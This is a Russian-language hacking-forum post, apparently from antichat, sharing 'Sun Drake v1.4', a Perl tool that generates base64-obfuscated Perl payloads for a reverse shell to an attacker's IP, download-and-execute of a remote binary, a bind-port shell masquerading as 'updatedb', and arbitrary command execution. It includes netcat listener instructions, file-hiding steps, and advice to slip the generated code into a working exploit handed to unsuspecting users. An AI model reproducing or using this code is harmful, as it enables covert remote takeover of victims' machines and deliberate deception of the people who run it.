Новая модификация, старого релиза... Sun Drake v 1.4 В первую очередь: ____________________________________________________________ Огромное СПАСИБО ВСЕМ кто так или иначе помогал.. при написании скрипта.. Отдельное спасибо: Genom-- , KSURi, Helios. А так же всем кто тестил скрипт ... ____________________________________________________________ Наконец-то переделал, изменил , добавил , исправил скрипт... Теперь.. к Reverse-Shell (Back-connect) добавилось два модуля... Всеми любимый Download and Exec и Bind Port .. ) 1. Выбераем модуль... Code: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Back-connect: USAGE: Parameters: file.pl ID-1 IP PORT save_as Example: file.pl 1 127.0.0.1 9999 exploit.txt ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Download And Exec: USAGE: Parameters: file.pl ID-2 URL save_as Example: file.pl 2 http://localhost/pinch.exe exploit.txt ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Bind Port: USAGE: Parameters: file.pl ID-3 PORT save_as Example: file.pl 3 9999 exploit.txt ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ID 1 - Back-connect: ID 2 - Download And Exec: ID 3 - Bind Port: Скрипт в деле... Сегодня утром зайдя на #antichat Мне улыбнулась фартуна )) Сразу после захода я увидел... Используем Reverse Shell: (ID - 1) Используя NetCat открываем у себя порт например 9999 nc.exe -lvvp 9999 Запускаем скрипт.. и следуем USAGE: Code: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Back-connect: USAGE: Parameters: file.pl ID-1 IP PORT save_as Example: file.pl 1 127.0.0.1 9999 exploit.txt ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Передаём все параметры через коммандую строку нашему файлу... Указываем ID (1), свой IP адресс и порт.. далее файл в котором сохранится наш скрипт.. Используем Download And Exec: (ID - 2) Запускаем скрипт.. и следуем USAGE: Code: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Download And Exec: USAGE: Parameters: file.pl ID-2 URL save_as Example: file.pl 2 http://localhost/pinch.exe exploit.txt ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Передаём все параметры через коммандую строку нашему файлу... Указываем ID (2) , полный путь к файлу который скачается и запуститься, ну и файл в котором сохранится наш скрипт.. Используем Bind Port: (ID - 3) Запускаем скрипт.. и следуем USAGE: Code: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Bind Port: USAGE: Parameters: file.pl ID-3 PORT save_as Example: file.pl 3 9999 exploit.txt ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Всего три параметра... 1. ID ставим 3 2. какой порт будет пробинден. 3. Куда сохраниться скрипт.. ) Далее втыкаем куданить пооудобней сгенерированный скриптег.. в рабочий сплойт.. И даём... нашему скрипт киддису, или человеку который упорно просит похекать какойнить форум, чат etc.. Бак конект получился очень тяжелым как и бинд порт... Нужно было чтоб соединение держалось и после закрытия консоли cmd.exe Вот и размер немног подкачал После долгой ночи кодинга.. кой что исправил... перепичал немног третий модуль... (чтоб конект держался)... Вообщем... Смотрим.. , Используем , Критикуем, Хвалим... Короче .. Отписываемся.. ) Code: #!/usr/bin/perl ## Sun Drake v1.4 ## Coded by slider ## Backdoor Reverse-Shell v1.3.multiplatform ## Multiplatform path by helios ## Download And Exec ## Coded by Genom-- ## http://antichat.ru if (@ARGV==0) { print '~' x 57 . "\n"; print "Back-connect:\n"; print "USAGE: \n"; print "Parameters: file.pl ID-1 IP PORT save_as\n"; print "Example: file.pl 1 127.0.0.1 9999 exploit.txt\n"; print '~' x 57 . "\n\n"; print '~' x 57 . "\n"; print "Download And Exec:\n"; print "USAGE: \n"; print "Parameters: file.pl ID-2 URL save_as\n"; print "Example: file.pl 2 http://localhost/pinch.exe exploit.txt\n"; print '~' x 57 . "\n\n"; print '~' x 57 . "\n"; print "Bind Port:\n"; print "USAGE: \n"; print "Parameters: file.pl ID-3 PORT save_as\n"; print "Example: file.pl 3 9999 exploit.txt\n"; print '~' x 57 . "\n\n"; } if ($ARGV[0]==1) { if (@ARGV!=4) { print '~' x 57 . "\n"; print "Back-connect:\n"; print "USAGE: \n"; print "Parameters: file.pl ID-1 IP PORT save_as\n"; print "Example: file.pl 1 127.0.0.1 9999 exploit.txt\n"; print '~' x 57 . "\n\n"; die "[-] FAILED\n"; } my ($ID, $IP, $PORT, $NAME)=@ARGV; $text = qq{ open logg, '>expl~1.tmp'; print logg 'use Socket; use FileHandle;'; print logg "socket(SOCKET,PF_INET,SOCK_STREAM, getprotobyname('tcp'));"; print logg "connect(SOCKET, sockaddr_in('$PORT',inet_aton('$IP')));"; print logg 'SOCKET->autoflush();'; print logg "open(STDIN,'>&SOCKET');"; print logg "open(STDOUT,'>&SOCKET');"; print logg "open(STDERR,'>&SOCKET');"; if(-f '/bin/sh' && -x '/bin/sh') {print logg \"exec('/bin/sh');\";} else{print logg \"exec('cmd.exe');\";} close logg; }; use MIME::Base64; $encoded = encode_base64($text); print "[*] Injecting...\n"; open base64,">$NAME"; print base64 "\$payload='$encoded';"; print base64 "use MIME::Base64;"; print base64 "\$decoded = decode_base64(\$payload);"; print base64 "eval(\$decoded);"; print base64 "if (-f '/bin/sh' && -x '/bin/sh') {"; print base64 "system('perl expl~1.tmp &');"; print base64 "system('rm -rf expl~1.tmp');}"; print base64 "else {"; print base64 "system('start perl expl~1.tmp');"; print base64 "system('attrib +h expl~1.tmp');}"; close base64; print "[*] OK...\n\n"; print "$encoded"; } if (@ARGV[0]==2) { if (@ARGV!=3) { print '~' x 57 . "\n"; print "Download And Exec:\n"; print "USAGE: \n"; print "Parameters: file.pl ID-2 URL save_as\n"; print "Example: file.pl 2 http://localhost/pinch.exe exploit.txt\n"; print '~' x 57 . "\n\n"; die "[-] FAILED\n"; } my ($ID, $file, $NAME)=@ARGV; $TEXT = qq{ use LWP::UserAgent; my \$get = LWP::UserAgent->new(); \$req=HTTP::Request->new(GET=>'$file'); \$response=\$get->request(\$req); (\$name='$file')=~s(^.*/)(); open(DUMP,'>'.\$name); binmode DUMP; \$an=\$response->as_string; chomp(\$an); \$an=~m/\\n\\n(.*)/s; print DUMP \$1; close(DUMP); system('attrib +h '.\$name); exec('start '.\$name);}; use MIME::Base64; $encoded = encode_base64($TEXT); print "[*] Injecting...\n"; open base64,">$NAME"; print base64 "\$payload='$encoded';"; print base64 "use MIME::Base64;"; print base64 "\$decoded = decode_base64(\$payload);"; print base64 "eval(\$decoded);"; close base64; print "[*] Success..\n\n"; print "$encoded"; } if (@ARGV[0]==3) { if (@ARGV!=3) { print '~' x 57 . "\n"; print "Bind Port:\n"; print "USAGE: \n"; print "Parameters: file.pl ID-3 BIND_PORT save_as\n"; print "Example: file.pl 3 9999 exploit.txt\n"; print '~' x 57 . "\n\n"; die "[-] FAILED\n"; } my ($ID, $pt, $NAME)=@ARGV; $port = $pt; $TEXT = qq{ open logg, ">exp~2.tmp"; print logg 'exit if fork;'; print logg '\$0 = "updatedb" . " " x100;'; print logg '\$SIG{CHLD} = "IGNORE";'; print logg "use Socket;"; print logg "socket(S, PF_INET, SOCK_STREAM, 0);"; print logg "setsockopt(S, SOL_SOCKET, SO_REUSEADDR, 1);"; print logg 'bind(S, sockaddr_in($port, INADDR_ANY));'; print logg "listen(S, 50);"; print logg "while(1){"; print logg "accept(X, S);"; print logg "unless(fork)"; print logg "{ open STDIN, '<&X';"; print logg "open STDOUT, '>&X';"; print logg "open STDERR, '>&X';"; print logg "close X;"; print logg "exec('cmd.exe');"; print logg "} close X;}"; }; use MIME::Base64; $encoded = encode_base64($TEXT); print "[*] Injecting...\n"; open base64,">$NAME"; print base64 "\$payload='$encoded';"; print base64 "use MIME::Base64;"; print base64 "\$decoded = decode_base64(\$payload);"; print base64 "eval(\$decoded);"; print base64 "if (-f '/bin/sh' && -x '/bin/sh') {"; print base64 "system('perl exp~2.tmp &');"; print base64 "system('rm -rf exp~2.tmp');}"; print base64 "else {"; print base64 "system('start perl exp~2.tmp');"; print base64 "system('attrib +h exp~2.tmp');}"; close base64; print "[*] OK...\n\n"; print "$encoded"; } --------------------------ОТДЕЛЬНЫЕ МОДУЛИ-------------------------- Вот новый модуль Exec: Очень простой.. поэтому прикручивать не стал.. авось пригодиться... Code: #!/usr/bin/perl ## Module: Exec (Sun Drake v1.4) ## Coded by slider if (@ARGV!=2) { print '~' x 57 . "\n"; print "Exec Only:\n"; print "USAGE: \n"; print "Parameters: file.pl <command> save_as\n"; print "Example: file.pl \"shutdown -s -t -1\" exploit.txt\n"; print '~' x 57 . "\n\n"; die "[-] FAILED\n"; } my ($pt, $NAME)=@ARGV; $port = $pt; $TEXT = qq{system('$pt');}; use MIME::Base64; $encoded = encode_base64($TEXT); print "[*] Injecting...\n"; open base64,">$NAME"; print base64 "\$payload='$encoded';"; print base64 "use MIME::Base64;"; print base64 "\$decoded = decode_base64(\$payload);"; print base64 "eval(\$decoded);"; print "[*] OK...\n\n"; print "$encoded"; ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Exec Only: USAGE: Parameters: file.pl <command> save_as Example: file.pl "shutdown -s -t -1" exploit.txt ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 1. вводим команду которая выполнится... 2. Файл куда сохранить скрипт .. Очень маленький и очень простой =) --------------------------ОТДЕЛЬНЫЕ МОДУЛИ-------------------------- Переделал Download And Execute: Код стал намного короче.... (а значит меньше палева...) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Exec Only: USAGE: Parameters: file.pl <from> <in> save_as Example: file.pl http://127.0.0.1/1.exe c:\\1.exe ext.txt ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
За идею + однозначно) А насчет СанОСи - на неделе поставлю, потестю. Если не баги отдельной машины - пофиксим=)
Переделал Download And Execute: Код стал намного короче.... (а значит меньше палева...) (Идёт как отдельный модуль) Ali_MiX Невижу смысла... )) Просто сгенерировать скрипт и комуто его впарить? ))